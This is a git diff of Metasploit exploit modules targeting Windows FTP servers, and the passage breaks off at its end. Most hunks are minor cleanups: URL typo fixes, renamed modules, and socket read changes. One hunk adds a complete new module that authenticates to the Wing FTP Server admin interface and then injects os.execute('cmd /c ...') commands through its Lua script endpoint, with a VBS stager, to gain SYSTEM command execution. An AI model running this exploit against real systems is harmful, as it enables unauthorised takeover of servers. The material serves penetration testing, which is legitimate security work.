b/modules/exploits/windows/ftp/dreamftp_format.rb index 18d38e518a..2c2707a2c7 100644 --- a/modules/exploits/windows/ftp/dreamftp_format.rb +++ b/modules/exploits/windows/ftp/dreamftp_format.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -56,9 +56,9 @@ class Metasploit3 < Msf::Exploit::Remote def check connect - banner = sock.get(-1,3) + banner = sock.get_once disconnect - if (banner =~ /Dream FTP Server/) + if (banner.to_s =~ /Dream FTP Server/) return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/ftp/easyfilesharing_pass.rb b/modules/exploits/windows/ftp/easyfilesharing_pass.rb index ab5a97838f..6223524b5b 100644 --- a/modules/exploits/windows/ftp/easyfilesharing_pass.rb +++ b/modules/exploits/windows/ftp/easyfilesharing_pass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb b/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb index 0805ac2063..59b73f5ae1 100644 --- a/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb +++ b/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'EasyFTP Server <= 1.7.0.11 CWD Command Stack Buffer Overflow', + 'Name' => 'EasyFTP Server CWD Command Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11 and earlier. EasyFTP fails to check input size when parsing 'CWD' commands, which diff --git a/modules/exploits/windows/ftp/easyftp_list_fixret.rb b/modules/exploits/windows/ftp/easyftp_list_fixret.rb index e230140ad1..07c9cb90fc 100644 --- a/modules/exploits/windows/ftp/easyftp_list_fixret.rb +++ b/modules/exploits/windows/ftp/easyftp_list_fixret.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'EasyFTP Server <= 1.7.0.11 LIST Command Stack Buffer Overflow', + 'Name' => 'EasyFTP Server LIST Command Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11. credit goes to Karn Ganeshan. @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Karn Ganeshan ', # original version + 'Karn Ganeshan ', # original version 'MFR', # convert to metasploit format. 'jduck' # modified to use fix-up stub (works with bigger payloads) ], diff --git a/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb b/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb index 6368dcbbef..7991c3fe5c 100644 --- a/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb +++ b/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'EasyFTP Server <= 1.7.0.11 MKD Command Stack Buffer Overflow', + 'Name' => 'EasyFTP Server MKD Command Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11 and earlier. EasyFTP fails to check input size when parsing 'MKD' commands, which @@ -78,7 +78,9 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Safe end - def make_nops(num); "C" * num; end + def make_nops(num) + "C" * num + end def exploit connect_login diff --git a/modules/exploits/windows/ftp/filecopa_list_overflow.rb b/modules/exploits/windows/ftp/filecopa_list_overflow.rb index c17ecfd693..d876af7908 100644 --- a/modules/exploits/windows/ftp/filecopa_list_overflow.rb +++ b/modules/exploits/windows/ftp/filecopa_list_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/filewrangler_list_reply.rb b/modules/exploits/windows/ftp/filewrangler_list_reply.rb index a5412555de..2757eadf85 100644 --- a/modules/exploits/windows/ftp/filewrangler_list_reply.rb +++ b/modules/exploits/windows/ftp/filewrangler_list_reply.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/freefloatftp_user.rb b/modules/exploits/windows/ftp/freefloatftp_user.rb index a85fd0f6e5..3352b4407e 100644 --- a/modules/exploits/windows/ftp/freefloatftp_user.rb +++ b/modules/exploits/windows/ftp/freefloatftp_user.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/freefloatftp_wbem.rb b/modules/exploits/windows/ftp/freefloatftp_wbem.rb index a035752d21..e73e7c3d6e 100644 --- a/modules/exploits/windows/ftp/freefloatftp_wbem.rb +++ b/modules/exploits/windows/ftp/freefloatftp_wbem.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/freeftpd_pass.rb b/modules/exploits/windows/ftp/freeftpd_pass.rb index 285b4dd012..d39a39495b 100644 --- a/modules/exploits/windows/ftp/freeftpd_pass.rb +++ b/modules/exploits/windows/ftp/freeftpd_pass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/freeftpd_user.rb b/modules/exploits/windows/ftp/freeftpd_user.rb index ef572effe0..5f30f536b1 100644 --- a/modules/exploits/windows/ftp/freeftpd_user.rb +++ b/modules/exploits/windows/ftp/freeftpd_user.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/ftpgetter_pwd_reply.rb b/modules/exploits/windows/ftp/ftpgetter_pwd_reply.rb index c0c12a4d07..68b913acbc 100644 --- a/modules/exploits/windows/ftp/ftpgetter_pwd_reply.rb +++ b/modules/exploits/windows/ftp/ftpgetter_pwd_reply.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/ftppad_list_reply.rb b/modules/exploits/windows/ftp/ftppad_list_reply.rb index 0798ed0ee9..f8fc0893db 100644 --- a/modules/exploits/windows/ftp/ftppad_list_reply.rb +++ b/modules/exploits/windows/ftp/ftppad_list_reply.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/ftpshell51_pwd_reply.rb b/modules/exploits/windows/ftp/ftpshell51_pwd_reply.rb index 823c96a67d..4f8df2009c 100644 --- a/modules/exploits/windows/ftp/ftpshell51_pwd_reply.rb +++ b/modules/exploits/windows/ftp/ftpshell51_pwd_reply.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/ftpsynch_list_reply.rb b/modules/exploits/windows/ftp/ftpsynch_list_reply.rb index 317164fae8..91809dba78 100644 --- a/modules/exploits/windows/ftp/ftpsynch_list_reply.rb +++ b/modules/exploits/windows/ftp/ftpsynch_list_reply.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/gekkomgr_list_reply.rb b/modules/exploits/windows/ftp/gekkomgr_list_reply.rb index eb4922e35e..754d9afd7e 100644 --- a/modules/exploits/windows/ftp/gekkomgr_list_reply.rb +++ b/modules/exploits/windows/ftp/gekkomgr_list_reply.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/globalscapeftp_input.rb b/modules/exploits/windows/ftp/globalscapeftp_input.rb index 091b153aec..497c2049ad 100644 --- a/modules/exploits/windows/ftp/globalscapeftp_input.rb +++ b/modules/exploits/windows/ftp/globalscapeftp_input.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote All versions prior to 3.0.3 are affected by this flaw. A valid user account ( or anonymous access) is required for this exploit to work. }, - 'Author' => [ 'Fairuzan Roslan ', 'Mati Aharoni ' ], + 'Author' => [ 'Fairuzan Roslan ', 'Mati Aharoni ' ], 'License' => BSD_LICENSE, 'References' => [ diff --git a/modules/exploits/windows/ftp/goldenftp_pass_bof.rb b/modules/exploits/windows/ftp/goldenftp_pass_bof.rb index cc334f2643..e90f25e4ba 100644 --- a/modules/exploits/windows/ftp/goldenftp_pass_bof.rb +++ b/modules/exploits/windows/ftp/goldenftp_pass_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/httpdx_tolog_format.rb b/modules/exploits/windows/ftp/httpdx_tolog_format.rb index 844a06de10..5adb8fc2fb 100644 --- a/modules/exploits/windows/ftp/httpdx_tolog_format.rb +++ b/modules/exploits/windows/ftp/httpdx_tolog_format.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/leapftp_list_reply.rb b/modules/exploits/windows/ftp/leapftp_list_reply.rb index 09ffc8f6d0..a27b61a9ed 100644 --- a/modules/exploits/windows/ftp/leapftp_list_reply.rb +++ b/modules/exploits/windows/ftp/leapftp_list_reply.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/leapftp_pasv_reply.rb b/modules/exploits/windows/ftp/leapftp_pasv_reply.rb index f1a07665b5..b1b03bb545 100644 --- a/modules/exploits/windows/ftp/leapftp_pasv_reply.rb +++ b/modules/exploits/windows/ftp/leapftp_pasv_reply.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb b/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb index 0364af0a4c..9345aca081 100644 --- a/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb +++ b/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft IIS FTP Server NLST Response Overflow', + 'Name' => 'MS09-053 Microsoft IIS FTP Server NLST Response Overflow', 'Description' => %q{ This module exploits a stack buffer overflow flaw in the Microsoft IIS FTP service. The flaw is triggered when a special NLST argument is passed diff --git a/modules/exploits/windows/ftp/netterm_netftpd_user.rb b/modules/exploits/windows/ftp/netterm_netftpd_user.rb index 4e756c2a11..e1404937dd 100644 --- a/modules/exploits/windows/ftp/netterm_netftpd_user.rb +++ b/modules/exploits/windows/ftp/netterm_netftpd_user.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/odin_list_reply.rb b/modules/exploits/windows/ftp/odin_list_reply.rb index 304e1d971a..5d672e54ec 100644 --- a/modules/exploits/windows/ftp/odin_list_reply.rb +++ b/modules/exploits/windows/ftp/odin_list_reply.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/open_ftpd_wbem.rb b/modules/exploits/windows/ftp/open_ftpd_wbem.rb index 93fad47728..75d677b645 100644 --- a/modules/exploits/windows/ftp/open_ftpd_wbem.rb +++ b/modules/exploits/windows/ftp/open_ftpd_wbem.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb index 35e0d31ea7..6bd6afcda3 100644 --- a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb +++ b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb index 6120334331..99b39220b0 100644 --- a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb +++ b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/pcman_stor.rb b/modules/exploits/windows/ftp/pcman_stor.rb index a8e3474e1d..10ea810e86 100644 --- a/modules/exploits/windows/ftp/pcman_stor.rb +++ b/modules/exploits/windows/ftp/pcman_stor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/proftp_banner.rb b/modules/exploits/windows/ftp/proftp_banner.rb index cbbcefd2e9..91cf132b9e 100644 --- a/modules/exploits/windows/ftp/proftp_banner.rb +++ b/modules/exploits/windows/ftp/proftp_banner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/quickshare_traversal_write.rb b/modules/exploits/windows/ftp/quickshare_traversal_write.rb index 48290fc9fa..697aefa878 100644 --- a/modules/exploits/windows/ftp/quickshare_traversal_write.rb +++ b/modules/exploits/windows/ftp/quickshare_traversal_write.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/ricoh_dl_bof.rb b/modules/exploits/windows/ftp/ricoh_dl_bof.rb index 9054489c4a..2977243b78 100644 --- a/modules/exploits/windows/ftp/ricoh_dl_bof.rb +++ b/modules/exploits/windows/ftp/ricoh_dl_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/sami_ftpd_list.rb b/modules/exploits/windows/ftp/sami_ftpd_list.rb index 087cc93c15..c07761fbd2 100644 --- a/modules/exploits/windows/ftp/sami_ftpd_list.rb +++ b/modules/exploits/windows/ftp/sami_ftpd_list.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/sami_ftpd_user.rb b/modules/exploits/windows/ftp/sami_ftpd_user.rb index f6d9bd49f0..48bdbf0d8a 100644 --- a/modules/exploits/windows/ftp/sami_ftpd_user.rb +++ b/modules/exploits/windows/ftp/sami_ftpd_user.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote def check connect - banner = sock.get(-1,3) + banner = sock.get_once(-1, 3) disconnect if (banner =~ /Sami FTP Server 2\.0\.2/) diff --git a/modules/exploits/windows/ftp/sasser_ftpd_port.rb b/modules/exploits/windows/ftp/sasser_ftpd_port.rb index 72575fe9ae..0499103f04 100644 --- a/modules/exploits/windows/ftp/sasser_ftpd_port.rb +++ b/modules/exploits/windows/ftp/sasser_ftpd_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits the FTP server component of the Sasser worm. By sending an overly long PORT command the stack can be overwritten. }, - 'Author' => [ '', '', 'patrick' ], + 'Author' => [ '', '', 'patrick' ], 'Arch' => [ ARCH_X86 ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/exploits/windows/ftp/scriptftp_list.rb b/modules/exploits/windows/ftp/scriptftp_list.rb index 2f760a39a9..0c8492f50e 100644 --- a/modules/exploits/windows/ftp/scriptftp_list.rb +++ b/modules/exploits/windows/ftp/scriptftp_list.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,14 +12,16 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'ScriptFTP <= 3.3 Remote Buffer Overflow (LIST)', + 'Name' => 'ScriptFTP LIST Remote Buffer Overflow', 'Description' => %q{ - AmmSoft's ScriptFTP client is susceptible to a remote buffer overflow - vulnerability that is triggered when processing a sufficiently long filename during - a FTP LIST command resulting in overwriting the exception handler. Social engineering - of executing a specially crafted ftp file by double click will result in connecting to - our malcious server and perform arbitrary code execution which allows the attacker - to gain the same rights as the user running ScriptFTP. + AmmSoft's ScriptFTP client is susceptible to a remote buffer overflow + vulnerability that is triggered when processing a sufficiently long + filename during a FTP LIST command resulting in overwriting the + exception handler. Social engineering of executing a specially crafted + ftp file by double click will result in connecting to our malcious + server and perform arbitrary code execution which allows the attacker to + gain the same rights as the user running ScriptFTP. This vulnerability + affects versions 3.3 and earlier. }, 'License' => MSF_LICENSE, 'Author' => diff --git a/modules/exploits/windows/ftp/seagull_list_reply.rb b/modules/exploits/windows/ftp/seagull_list_reply.rb index b9489b07cf..eaf8b779f9 100644 --- a/modules/exploits/windows/ftp/seagull_list_reply.rb +++ b/modules/exploits/windows/ftp/seagull_list_reply.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/servu_chmod.rb b/modules/exploits/windows/ftp/servu_chmod.rb index d02f862d9f..3439995d2c 100644 --- a/modules/exploits/windows/ftp/servu_chmod.rb +++ b/modules/exploits/windows/ftp/servu_chmod.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Serv-U FTP Server < 4.2 Buffer Overflow', + 'Name' => 'Serv-U FTP Server Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the site chmod command in versions of Serv-U FTP Server prior to 4.2. diff --git a/modules/exploits/windows/ftp/servu_mdtm.rb b/modules/exploits/windows/ftp/servu_mdtm.rb index 070c3f348e..09afe42621 100644 --- a/modules/exploits/windows/ftp/servu_mdtm.rb +++ b/modules/exploits/windows/ftp/servu_mdtm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/slimftpd_list_concat.rb b/modules/exploits/windows/ftp/slimftpd_list_concat.rb index c6e8f4e25e..dca878528b 100644 --- a/modules/exploits/windows/ftp/slimftpd_list_concat.rb +++ b/modules/exploits/windows/ftp/slimftpd_list_concat.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote affects all versions of SlimFTPd prior to 3.16 and was discovered by Raphael Rigo. }, - 'Author' => [ 'Fairuzan Roslan ' ], + 'Author' => [ 'Fairuzan Roslan ' ], 'License' => BSD_LICENSE, 'References' => [ diff --git a/modules/exploits/windows/ftp/trellian_client_pasv.rb b/modules/exploits/windows/ftp/trellian_client_pasv.rb index c7dfc67982..de59a26cc6 100644 --- a/modules/exploits/windows/ftp/trellian_client_pasv.rb +++ b/modules/exploits/windows/ftp/trellian_client_pasv.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/turboftp_port.rb b/modules/exploits/windows/ftp/turboftp_port.rb index f77e5c41b7..92ff75127d 100644 --- a/modules/exploits/windows/ftp/turboftp_port.rb +++ b/modules/exploits/windows/ftp/turboftp_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/vermillion_ftpd_port.rb b/modules/exploits/windows/ftp/vermillion_ftpd_port.rb index 412789b02e..1ac4fa8b19 100644 --- a/modules/exploits/windows/ftp/vermillion_ftpd_port.rb +++ b/modules/exploits/windows/ftp/vermillion_ftpd_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/warftpd_165_pass.rb b/modules/exploits/windows/ftp/warftpd_165_pass.rb index d084b013a2..46d5e514cf 100644 --- a/modules/exploits/windows/ftp/warftpd_165_pass.rb +++ b/modules/exploits/windows/ftp/warftpd_165_pass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/warftpd_165_user.rb b/modules/exploits/windows/ftp/warftpd_165_user.rb index e92334724f..adb088d0ca 100644 --- a/modules/exploits/windows/ftp/warftpd_165_user.rb +++ b/modules/exploits/windows/ftp/warftpd_165_user.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits a buffer overflow found in the USER command of War-FTPD 1.65. }, - 'Author' => 'Fairuzan Roslan ', + 'Author' => 'Fairuzan Roslan ', 'License' => BSD_LICENSE, 'References' => [ diff --git a/modules/exploits/windows/ftp/wftpd_size.rb b/modules/exploits/windows/ftp/wftpd_size.rb index e7fc50c9ee..1542008c2b 100644 --- a/modules/exploits/windows/ftp/wftpd_size.rb +++ b/modules/exploits/windows/ftp/wftpd_size.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb b/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb new file mode 100644 index 0000000000..fa5b45b7fa --- /dev/null +++ b/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb @@ -0,0 +1,123 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + include Msf::Exploit::CmdStager + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wing FTP Server Authenticated Command Execution', + 'Description' => %q{ + This module exploits the embedded Lua interpreter in the admin web interface for + versions 4.3.8 and below. When supplying a specially crafted HTTP POST request + an attacker can use os.execute() to execute arbitrary system commands on + the target with SYSTEM privileges. + }, + 'Author' => + [ + 'Nicholas Nam ' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://www.wftpserver.com' ] + ], + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows VBS Stager', {} ] + ], + 'Privileged' => true, + 'DisclosureDate' => 'Jun 19 2014', + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(5466), + OptString.new('USERNAME', [true, 'Admin username', '']), + OptString.new('PASSWORD', [true, 'Admin password', '']) + ], self.class + ) + deregister_options('CMDSTAGER::FLAVOR') + end + + def check + res = send_request_cgi( + { + 'uri' => '/admin_login.html', + 'method' => 'GET' + }) + + if !res + fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.") + elsif res.code != 200 + fail_with(Failure::NotFound, "#{peer} - Admin login page was not found.") + elsif res.body =~ /Wing FTP Server Administrator/ && res.body =~ /2003-2014 wftpserver.com<\/b>/ + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Safe + end + + def exploit + username = datastore['USERNAME'] + password = datastore['PASSWORD'] + @session_cookie = authenticate(username, password) + + print_status("#{peer} - Sending payload") + # Execute the cmdstager, max length of the commands is ~1500 + execute_cmdstager(flavor: :vbs, linemax: 1500) + end + + def execute_command(cmd, _opts = {}) + command = "os.execute('cmd /c #{cmd}')" + + res = send_request_cgi( + 'uri' => '/admin_lua_script.html', + 'method' => 'POST', + 'cookie' => @session_cookie, + 'vars_post' => { 'command' => command } + ) + + if res && res.code != 200 + fail_with(Failure::Unkown, "#{peer} - Something went wrong.") + end + end + + def authenticate(username, password) + print_status("#{peer} - Authenticating") + res = send_request_cgi( + 'uri' => '/admin_loginok.html', + 'method' => 'POST', + 'vars_post' => { + 'username' => username, + 'password' => password, + 'username_val' => username, + 'password_val' => password, + 'submit_btn' => '+Login+' + } + ) + + uidadmin = '' + if !res + fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.") + elsif res.code == 200 && res.body =~ /location='main.html\?lang=english';/ + res.get_cookies.split(';').each do |cookie| + cookie.split(',').each do |value| + uidadmin = value.split('=')[1] if value.split('=')[0] =~ /UIDADMIN/ + end + end + else + fail_with(Failure::NoAccess, "#{peer} - Authentication failed") + end + + "UIDADMIN=#{uidadmin}" + end +end diff --git a/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb b/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb index 6b3f186759..d5bcefe4af 100644 --- a/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb +++ b/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb b/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb index 126618beaa..aef6f65f7d 100644 --- a/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb +++ b/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/xftp_client_pwd.rb b/modules/exploits/windows/ftp/xftp_client_pwd.rb index 